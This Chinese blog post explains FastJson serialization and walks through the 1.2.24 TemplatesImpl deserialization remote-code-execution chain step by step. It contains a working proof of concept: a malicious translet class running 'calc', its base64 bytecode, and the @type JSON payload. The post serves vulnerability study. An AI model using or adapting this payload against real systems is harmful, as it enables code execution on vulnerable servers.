FastJson入门介绍&&1.2.24利用链分析

  • A+
所属分类:代码审计

FastJson介绍&入门

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean

序列化

序列化的函数为JSON.toJSONString

非自省

常用的方式为:

public static String toJSONString(Object object)

User.java

import java.util.Properties;

public class User {
public String name1; //public且有get set
public String name2; //public且有get
public String name3; //public且有set
public String name4; //仅仅public

private String age1; //private且有get set
private String age2; //private且有get
private String age3; //private且有set
private String age4; //仅仅private

public String getName1() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return name1;
}

public void setName1(String name1) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.name1 = name1;
}

public String getAge1() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return age1;
}

public void setAge1(String age1) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.age1 = age1;
}


public String getName2() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return name2;
}

public String getAge2() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return age2;
}

public void setName3(String name3) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.name3 = name3;
}

public void setAge3(String age3) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.age3 = age3;
}

@Override
public String toString() {
return "User{" +
"name1='" + name1 + ''' +
", name2='" + name2 + ''' +
", name3='" + name3 + ''' +
", name4='" + name4 + ''' +
", age1='" + age1 + ''' +
", age2='" + age2 + ''' +
", age3='" + age3 + ''' +
", age4='" + age4 + ''' +
'}';
}

public User() {
this.name1 = "rai4over1";
this.name2 = "rai4over2";
this.name3 = "rai4over3";
this.name4 = "rai4over4";

this.age1 = "a1";
this.age2 = "a2";
this.age3 = "a3";
this.age4 = "a4";
System.out.println("User init() is called");
}


}

该类中使用无参数构造函数初始化成员,包含8个成员分成两组,分别被publicprivate修饰的,并且对应的getset方法有所不同形成对比,以探究具体的调用情况。

Test.java

import com.alibaba.fastjson.JSON;

public class Test {
public static void main(String[] args) {
User a = new User();
System.out.println("===========================");
String jsonstr_a = JSON.toJSONString(a);
}
}

运行结果:

User init() is called
===========================
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
{"age1":"a1","age2":"a2","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}

可以发现在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,并且序列化的结果是标准的JSON字符串。

自省

JSON标准是不支持自省的,也就是说根据JSON文本,不知道它包含的对象的类型。

FastJson支持自省,在序列化时传入类型信息SerializerFeature.WriteClassName,可以得到能表明对象类型的JSON文本。

FastJson的漏洞就是由于这个功能引起的。

使用方式

public static String toJSONString(Object object, SerializerFeature... features)

Test.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
public static void main(String[] args) {
User a = new User();
System.out.println("===========================");
String jsonstr_a = JSON.toJSONString(a, SerializerFeature.WriteClassName);
}
}

运行结果:

User init() is called
===========================
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
{"@type":"User","age1":"a1","age2":"a2","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}

JSON字符串中新增@type字段名,用来表明指定反序列化的目标对象类型为User

 反序列化

反序列化的函数为JSON.parseObject

非自省

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
public static void main(String[] args) {
String jsonstr_a = "{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}";
System.out.println(jsonstr_a);
System.out.println("===========================");
User b = JSON.parseObject(jsonstr_a, User.class);

}
}

需要在JSON.parseObject中传入Class

运行结果:

{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null'}

自省

在使用SerializerFeature.WriteClassName序列化时,也可以使用JSON.parse进行反序列化。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
public static void main(String[] args) {
String jsonstr_a = "{"@type":"User","age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}";
System.out.println(jsonstr_a);
System.out.println("===========================");
//User b = JSON.parseObject(jsonstr_a, User.class);
Object b = JSON.parse(jsonstr_a);

}
}

运行结果:

{"@type":"User","age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null'}

可以发现两种反序列化方式的结果是相同,并且得到结论:

  • publicprivate修饰的成员只要有对应的set方法,set方法均在反序列化时被调用。

  • 对于被public修饰的成员即便没有对应的set方法,也会被赋值。

对于没有set方法的private成员,反序列化时传递Feature.SupportNonPublicField 即可完成赋值。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Test {
public static void main(String[] args) {
//User a = new User();
//System.out.println("===========================");
//String jsonstr_a = JSON.toJSONString(a);
String jsonstr_a = "{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}";
System.out.println(jsonstr_a);
System.out.println("===========================");
User b = JSON.parseObject(jsonstr_a, User.class, Feature.SupportNonPublicField);
//Object b = JSON.parse(jsonstr_a);
System.out.println(b);
}
}

运行结果:

{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='a2', age3='a3', age4='a4'}

Fastjson 1.2.24 远程代码执行&&TemplatesImpl 利用链

FastJson在1.2.22 - 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:

  • fastjson反序列化时,JSON字符串中的@type字段,用来表明指定反序列化的目标恶意对象类。
  • fastjson反序列化时,字符串时会自动调用恶意对象的构造方法,set方法,get方法,若这类方法中存在利用点,即可完成漏洞利用。

主要存在两种利用方式:

  • JdbcRowSetImpl(JNDI)
  • TemplatesImpl(Feature.SupportNonPublicField)

先讨论TemplatesImpl利用链

漏洞测试环境

  • Windows
  • Java(TM) SE Runtime Environment (build 1.8.0_112-b15)
  • fastjson 1.2.24
  • JSON.parseObject(payload, Feature.SupportNonPublicField);

恶意对象类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class poc_1 extends AbstractTranslet {
public poc_1() throws IOException {
Runtime.getRuntime().exec("calc");
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) throws Exception {
poc_1 t = new poc_1();
}
}

javac编译成字节码,然后对字节码继续宁base64编码填充POC的_bytecodes字段。

POC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class java1_2_25 {
public static void main(String[] args) {
String payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW"],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

浅析POC

POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰,影响漏洞的主要是_bytecodes_outputProperties 两个成员变量。因此在使用JSON.parseObject时需要传入Feature.SupportNonPublicField

FastJson入门介绍&&1.2.24利用链分析

  • @type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例

  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。

  • _outputPropertiesTemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。

  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;

  • _tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常;

利用链流程分析

com.alibaba.fastjson.JSON#parseObject(java.lang.String, com.alibaba.fastjson.parser.Feature...)
FastJson入门介绍&&1.2.24利用链分析

parseObject会还是会调用parse,一路跟还是到parse

com.alibaba.fastjson.JSON#parse(java.lang.String, int)
FastJson入门介绍&&1.2.24利用链分析

创建了类型为DefaultJSONParserparser变量,跟进该类的创建

com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.String, com.alibaba.fastjson.parser.ParserConfig, int)

FastJson入门介绍&&1.2.24利用链分析

调用了另一个构造函数,并传入了JSONScanner类的实例用于词法解析。

com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig)

FastJson入门介绍&&1.2.24利用链分析

对JSON字符串的开头进行解析,发现是{开头,设置对应的token

FastJson入门介绍&&1.2.24利用链分析

此时变量内容如下,继续跟进parser.parse()到关键点

com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)

FastJson入门介绍&&1.2.24利用链分析

这里会根据前面的初始化lexer.token()12,进入了对应的case分支,调用parseObject

@type字段

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

FastJson入门介绍&&1.2.24利用链分析

scanSymbol函数从JSON文本中解析出@type键名

FastJson入门介绍&&1.2.24利用链分析

根据@type进入相对的分支,并使用scanSymbol函数解析出com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl键值

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

FastJson入门介绍&&1.2.24利用链分析

调用TypeUtils.loadClass加载恶意利用类并存入clazz

FastJson入门介绍&&1.2.24利用链分析

clazz传入config.getDeserializer并继续跟进到关键位置。

com.alibaba.fastjson.util.JavaBeanInfo#build

FastJson入门介绍&&1.2.24利用链分析

通过反射获取类中的全部方法,此时的调用栈为:

build:130, JavaBeanInfo (com.alibaba.fastjson.util)
createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

然后通过三个for循环筛选出符合条件的方法存入fieldList

FastJson入门介绍&&1.2.24利用链分析

筛选部分代码如下

FastJson入门介绍&&1.2.24利用链分析

满足条件的setter

  • 函数名长度大于4且以set开头
  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1

满足条件的getter

  • 函数名长度大于等于4
  • 非静态方法
  • get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自CollectionMapAtomicBooleanAtomicIntegerAtomicLong

可以看到有三个符合条件,最后作为参数传入JavaBeanInfo类的实例。

执行并返回到上层,并进入关键的函数deserializer.deserialze

FastJson入门介绍&&1.2.24利用链分析

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)

FastJson入门介绍&&1.2.24利用链分析

_bytecodes字段

在解析处理@type字段的目标类后,通过for循环处理JSON文本中剩下的键值对,通过scanSymbol函数获取下个键名

FastJson入门介绍&&1.2.24利用链分析

最先获取到的是_bytecodes,作为参数传递parseField函数

FastJson入门介绍&&1.2.24利用链分析

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

FastJson入门介绍&&1.2.24利用链分析

这里调用函数smartMatch处理键名,跟踪该函数

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

FastJson入门介绍&&1.2.24利用链分析

将键名传入了getFieldDeserializer函数,跟踪该函数

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#getFieldDeserializer

FastJson入门介绍&&1.2.24利用链分析

会将键名和之前筛选的出的三个方法名称进行比较,_bytecodes不满足条件因此会返回null,并返回到smartMatch函数中

FastJson入门介绍&&1.2.24利用链分析

因为fieldDeserializer结果为null,会进入分支并去掉原键名中的-、删除开头的下划线等。

键名为_bytecodes时,处理后变为bytecodes,并再次调用getFieldDeserializer进行对比,但bytecodes依然会返回null

FastJson入门介绍&&1.2.24利用链分析

再此分支创建对DefaultFieldDeserializer类型的fieldDeserializer进行赋值,并调用fieldDeserializer.parseField函数

com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField

FastJson入门介绍&&1.2.24利用链分析

然后调用fieldValueDeserilizer.deserialze函数对_bytecodes进行base64解码并赋值给value,这就是为什么POC中的_bytecodes包含的字节码需要base64编码。

com.alibaba.fastjson.parser.JSONScanner#bytesValue

FastJson入门介绍&&1.2.24利用链分析

`base64解码调用过程比较冗长,直接列出调用栈信息

decodeBase64:478, IOUtils (com.alibaba.fastjson.util)
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

继续调用setValue

FastJson入门介绍&&1.2.24利用链分析

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

FastJson入门介绍&&1.2.24利用链分析

将解码后的内容设置到对象中,此时的调用栈信息

setValue:137, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

层层返回

FastJson入门介绍&&1.2.24利用链分析

执行到deserialze:614, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)跳出当前循环,进入外部的下一次的for循环deserialze:349, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

_outputProperties字段

在大循环中JSON文本中的每个键值对都会进行分析处理,继续分析关键的outputProperties流程

deserialze:474, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

FastJson入门介绍&&1.2.24利用链分析

然后将键名_outputProperties传入smartMatch,下划线会被去掉变为key2,符合sortedFieldDeserializers中的三个元素,返回fieldDeserializer

FastJson入门介绍&&1.2.24利用链分析

POC中键名为outputProperties也是可以的,smartMatch(key)就能返回fieldDeserializer,一路步进至setValue处。

FastJson入门介绍&&1.2.24利用链分析

这里会利用反射调用outputPropertiesget方法public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

FastJson入门介绍&&1.2.24利用链分析

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

FastJson入门介绍&&1.2.24利用链分析

首先对_name进行判断并不能为空,然后调用defineTransletClasses函数

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

FastJson入门介绍&&1.2.24利用链分析

使用了loader.defineClass加载了恶意对象的字节码,然后获取父类赋值到superClasssuperClass.getName().equals父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

FastJson入门介绍&&1.2.24利用链分析

返回到上层函数,_class[_transletIndex].newInstance()创建恶意对象实例。

java.lang.Class#newInstance

FastJson入门介绍&&1.2.24利用链分析

这里直接无参数实例化了,调用了恶意类的构造函数完成代码执行。
当前调用栈

newInstance:410, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

参考

https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/#Fastjson-TemplatesImpl-利用链

https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

本文来源于互联网:FastJson入门介绍&&1.2.24利用链分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: